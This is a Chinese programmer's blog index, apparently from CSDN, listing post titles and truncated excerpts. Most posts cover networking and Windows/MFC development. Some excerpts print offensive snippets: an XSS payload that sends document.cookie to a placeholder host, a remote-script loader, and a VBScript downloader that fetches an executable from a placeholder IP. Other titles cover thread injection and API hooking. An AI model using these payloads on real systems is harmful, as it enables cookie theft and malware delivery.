- 博客(47)
- 资源 (9)
- 收藏
- 关注

原创 手撸了一个基于Libevent网络库的即时通信服务器
项目地址:项目地址因对Android不太熟悉,客户端暂时没写。有熟悉Android客户端开发的同学可以微我,合作开发一个客户端,没别的爱好,就是玩儿。微信ID:to_be_listenerPangolinIM介绍PangolinIM是一款端对端加密的即时通讯工具。有服务器端和安卓客户端,支持文本消息、图片发送、文件发送、语音发送。特点PangolinIM是一款端对端加密即使通讯工具,服务器不存放消息明文。通讯逻辑分2种方式:1.如通讯双方均在线。服务器仅仅做消息转发(依托
2021-10-18 14:30:36
509

原创 基于Windows平台远程桌面 - 分块异或屏传算法的设计与实现
本文介绍一下基于Windows GDI的远程桌面传输。远程桌面方法其实很简单,无外乎GDI截屏->socket传输->GDI画图这三大步骤,但实际上比较麻烦,最难解决的就是截屏后图像太大的问题,以1920*1200像素的屏幕分辨率为例,截屏一张24位的bmp位图,大约需要8M左右字节,连续截图产生的数据量会给socket带来巨大的压力。也有人说可以在GDI截屏之后直接将数据压缩为jpg图像再传输,实践发现存在两个问题:1、压缩后一张图片的大小约为200K-300K,连续截屏的情况下,socket
2021-04-24 22:27:44
1896
原创 基于阿里云OSS的轻量级加密粘贴板
QuickClipboard是一个基于阿里云的轻量级加密粘贴板,仅需要简单配置,即可实现和Windows资源管理器交互逻辑相同的复制粘贴体验。
2024-07-09 13:24:46
432
原创 WebHole - 如何着手写一个自己的网站管理客户端
WebHole是一款网站管理软件,能通过C/S的工作模式,方便的管理服务器的文件、数据库,并执行命令。
2024-03-25 18:05:17
440
原创 基于QT的TCP传输拆包和组包算法
该文主要为QT平台下的TCP传输的拆包组包算法,也同样适用于Libevent、muduo等非阻塞的基于事件驱动的网络模型。
2022-12-22 23:32:36
2753
2
原创 基于鸿蒙ArkUI的eTS范式开发的仿微信界面程序
HMWeChat(HarmonyOS WeChat)是基于鸿蒙3.0的ArkUI开发的仿微信界面,使用的是eTS开发范式,基于鸿蒙SDK3.0(API Version 7)。
2022-05-17 14:56:21
1827
7
原创 【算法分享】基于WinSocket的TCP分包组包传输算法
笔者不再赘述分包组包算法是什么和为什么了,直接上代码,注释已经写的非常完整了,也希望大家测试使用,并提出好的建议。凡是有关提交bug、性能提升、算法优化方面好的建议,可以直接在本文下留言,或者私信作者,邮箱:yiyefangzhou24@qq.com。// #// # WinSocket TCP协议 分包组包算法// #// # 文件名socket.h// #// # 作者: yiyefangzhou24// # 修改时间: 2021/5/14// #// #
2021-05-16 14:23:10
1185
原创 完善duilib的List控件显示SHGetFileInfo获得的系统图标
duilib没有支持对系统图标HICON句柄的直接显示,需要修改底层,简单记录一下解决过程找到Control\UIList.h文件在对应的控件中添加一个SetIcon函数,我这里需要用的是CListTextElementUI控件,找到CListTextElementUI类,修改为class DUILIB_API CListTextElementUI : public CListLab...
2019-12-03 11:47:02
638
1
转载 xss加载远程第三方js
没有调用远程平台,用web接收cookie<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议<script src=//xxx.xxx/a.js></s...
2019-10-31 10:12:41
705
原创 SOCKET双向数据传送代码
//************************************************************************************// 功能:监听本地1080端口数据,进行代理转发// 服务端:可采用squid进行HTTP代理// Socket Transmit to Socket////****************************...
2019-09-25 18:38:36
640
原创 一个基于PHP的非长连接通讯软件的设计与实现
突发奇想想要实现一个基于PHP的通讯软件,和传统的基于socket的通讯软件相比缺点:非实时通讯,服务器被动式传递数据,运行成本更高。 优点:开发周期短,维护成本低。服务端:服务端采用ThinkPHP作为MVC架构,对即时消息、联系人管理、登陆注册三大模块进行接口设计,与客户端通讯统一采用json格式输入输出。消息存储、凭据保存使用Mysql数据库和ThinkPHP缓存进行存储。对...
2019-09-18 13:52:05
389
原创 TeamTalk部署详细过程(跳过各种坑)
一、部署环境系统:centos7 X64位(32位不支持)核心版本二、部署过程项目下载地址https://github.com/mogujie/TeamTalk.git,这个项目已经是三年前的版本,其中有部分脚本的地址已经404了,也就是mariadb中的源部分,部署的时候需要修改。我修改了一下,上传到我的gitee的代码仓了,供大家使用。cd /optgit clone ht...
2018-09-28 12:28:03
10795
原创 链表栈操作类
commend.h#include "afx.h"typedef struct cmddata { char cmd[1024]; int uid; cmddata * next; //指针域 }cmddata; class commend{public: commend(); ~commend(); int pushcmd(CString c
2017-05-15 19:58:33
489
原创 UDP分包组包的类
分享一个自己写的udp分包组包的例子,一个包以32768为单位分包,每个包有序号,如果乱序或者是缺少,直接舍弃。(有点浪费资源)如果是要实现一个资源发送过程中乱序的重组,请自己修改吧,什么冒泡排序之类的。我就懒得写了。声明:typedef struct UDPData{ unsigned int index; //包序号 unsigned int part; //块总数 unsig
2017-03-19 21:35:16
4908
2
原创 vbs下载者和powershell下载器
vbsSet Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://IP/test.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.T
2015-12-25 14:39:30
2359
原创 metasploit下载地址
Windows 64bithttp://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exeWindows 32bithttp://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe...
2015-10-16 15:21:24
11981
转载 MFC中获取命令行参数的几种方法
步骤/方法 方法一 ::GetCommandLine(); 将获取到 "C:\test\app.exe" -1 -2 方法二 for (int i=0;i { __argv[i]; 将依次得到C:\test\app.exe -1 -2 } 方法三 AfxGetApp()->m_lp
2015-05-02 21:15:45
746
原创 有关于mfc webbrowser插件的使用
最近写的东西中常常需要嵌入一些浏览器,微软提供了一个比较好的接口,可以在MFC写的程序中嵌入一个简易的浏览器,是以ActiveX插件的形式提供的接口,使用起来也比较的方便,这里我就简单记录下这个插件的使用这里我用vc6为例吧,我的机器太烂,跑不动vs这种巨人级别的软件。首先创建一个对话框,在对话框上右击插入ActiveX的插件可以看到微软提供了很多ActiveX的插件供我们选择
2014-05-14 09:01:33
21620
1
原创 一个MFC释放资源的类
分享一个释放资源的类BOOL CLinuxShellDlg::ReleaseRes(CString strFileName, WORD wResID, CString strFileType){ DWORD dwWrite=0; // 创建文件 HANDLE hFile = CreateFile(strFileName, GENERIC_
2013-12-01 15:21:48
3011
原创 针对函数的多线程inline API HOOK
Inline API HOOK方法有很多,常见的一种方法无需内嵌汇编语句,原理简单易懂,针对64位微软操作系统不允许内嵌汇编这种无解的事比较给力(列宁大神提供的消息,本人未亲自尝试)。下面简单说一下这种方法的原理。 首先说一说inline HOOK的原理,具体的资料上说的很多了,我只是想提一下核心的技术实现,主要是修改映射到内存的api函数的执行代码的第一条指令(一般是第一条指令)
2012-04-30 08:30:36
6320
2
原创 如何让win32 Application显示输入框
很多人纠结如何在win32 application下显示一个类似这样的输入框。而win32下又不兼容MFC的内容怎么办?可能我们就需要自己写这个对话框了。首先将这个对话框画好作为资源保存到我们的win32程序中,具体做法如下:1, 创建一个空的win32 Application程序。2, 点击菜单栏上的Insert(插入)->Resource(资源),选择对话框资源,然
2012-04-14 15:40:41
7744
原创 CreatRemoteThread线程注入
线程注入有很多种方法,有最简单也最方便安全的SetWindowsHookEx的钩子注入,也有代码简洁的远程线程创建注入。这种方法构思巧妙,但是个人觉得直接硬写目标进程内存空间有一定风险,可谓差之毫厘,谬以千里。本菜鸟这个程序调试了很长时间才成功的,大牛请勿发笑。CreatRemoteThread从字面意思上不难理解,创建一个远程线程,所以我们可以用他在目标进程中创建一个线程,立即执
2012-02-24 18:02:23
6996
原创 关于如何获得文件关联在注册表中位置
其实是一个比较容易的问题,我来分享一下我的做法。所有的操作都是在HKEY_CLASSES_ROOT根键中,先来看一下图前面看到的. fif .exc .ffl等等都是一些文件后缀名,比如exe文件的后缀就是.exe,打开它我们会看到默认键值下的内容是exefile: 那么我们就得到了关联exe文件的注册表项名称就是exefile,同样是在HKEY_CLASSES_R
2012-02-21 17:20:43
6361
原创 深入解析PE文件结构之导出表获取
新学期新气象,一般是小学作文的开头,在此引用一下。最近有时间坐下来仔细研究一下PE文件结构了,以前遇到这种问题时总是拆东墙补西墙。学的不够透彻。几天来一番研究之后,和大家分享一下。PE的文件结构从DOS头开始,其主要作用就两个一个是若是在DOS环境下输出一句话。另一个作用就是找到PE文件头的位置,这是我们要关心的,本文只注重所要关心的问题——导出表。和一些你再众多网上资料上很难找到的细节,
2012-02-17 16:58:44
10459
转载 WH_DEBUG钩子
以前在学习钩子的时候对于WH_DEBUG这个类型很是不解释,不知道它是做什么用的,在网上找了一找,发现也没有什么有价值的文章。在逆向分析“热血江湖”突然发现WH_DEBUG竟被用来进行反键盘记录(这是老版本,现在的版本已经用了最新的技术,原理没弄明白,哪位要是弄明白了,希望可以指点一下)。仔细研究了一下,弄明白了其中的原理,现在就介绍给一下。首先要将WH_DEBUG介绍一下。WH_DEBUG为
2012-02-07 10:59:30
3621
原创 MFC控件使用说明(combo box Button Check Box Radio Button List Control Edit Box Hot Key IP Address....)
combo box控件用法:下拉选择控件,首先将控件拖动到你需要使用控件的地方,用ClassWizard为它关联一个变量,我们注意到变量类型是CString型的。右击属性,General中可以设置一般属性类容Data中可以设置该控件下拉选择的内容,Styles中设置combo box控件风格,Extended Styles设置扩展风格,主要的设置在Data中,Data中设置了下拉菜单的所有下拉
2012-01-11 13:30:53
20704
1
转载 IE passview介绍 IE自动填充原理
论坛上一个大牛推荐的一个文章,新手拜读(英语不好找goole在线翻译): E PassView v1.26 - Recover lost passwords stored by Internet Explorer Copyright (c) 2006 - 201
2011-10-09 16:45:45
4072
原创 关于gina.dll的编写
gina,正如微软官方说明所说的:The GINA operates in the context of the Winlogon process and, as such, the GINA DLL is loaded very early in the boot proc
2011-09-30 19:25:04
6399
原创 一个简单嗅探器的实现
这是最近的一段代码。也没有什么好说的,简单的socket编程,设置网卡为混杂模式,接受所有封包,并打印所有封包的基本信息,及内容。#include#include#include#include#include#pragma comment(lib,"
2011-09-25 16:31:55
6827
2
原创 一个获取系统服务索引号的小工具
好久没写博客了,最近想抽点时间补上之前的东西,有些东西要记录下来,以后看了会觉得很有意思。这个小工具没有什么可以说的,直接vc编译连接就可以用了。下面附上代码:#include "stdio.h"#include int main(){ printf(
2011-09-25 15:14:53
2221
原创 浅析输入法原理
首先我们要知道什么是输入法,我们经常用输入法,但是你发现一个现象没有?,在任务管理器中并没有看到输入法进程。当然了搜狗那种流氓软件除外,说不定正在后台做什么偷偷摸摸的事情,当然要创建进程。输入法的核心文件你找到安装目录就会发现一个后缀是.ime的文件,你用十六进制查看器看看就会发
2011-07-25 16:33:52
12782
原创 关于如何读取指定对话框输入框中内容
最近在论坛上看到一个帖子,读取输入框中的内容,我也正在做这方面东西,于是就动手做了一下,原本以为很简单的东西,实际着手去做的时候倒是遇到了不小的麻烦。 首先想要获得一个未知的对话框的EDIT控件的内容无非就是几个步骤:1,获得所要获得内容的句柄2,获得控件句柄3,获得
2011-07-22 09:00:08
1732
原创 浅析QQ密码保护原理
<br /> 好久没写博客了,只因为最近一段时间着手学习网络入侵与渗透这块,正好借了一个大学生创业孵化基地的项目,也申请了一个关于“蜜罐”设计的科研立项,准备一起给做了,由于刚刚踏入未知领地,也没什么好说的,让我在这个领域摸黑探索一会再和大家分享我的学习历程。<br /> 今天来写一篇博客,也是好久前的了,一直拖着没写,这篇博客的内容也正是我大概一个月前的《黑客防线》的投稿,可能是运气有点好吧,这篇文章拟发《黑客防线》2011年第5期,还没有出来,快了,10号左右吧。另外想说的一句是黒
2011-05-07 09:40:00
6041
5
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人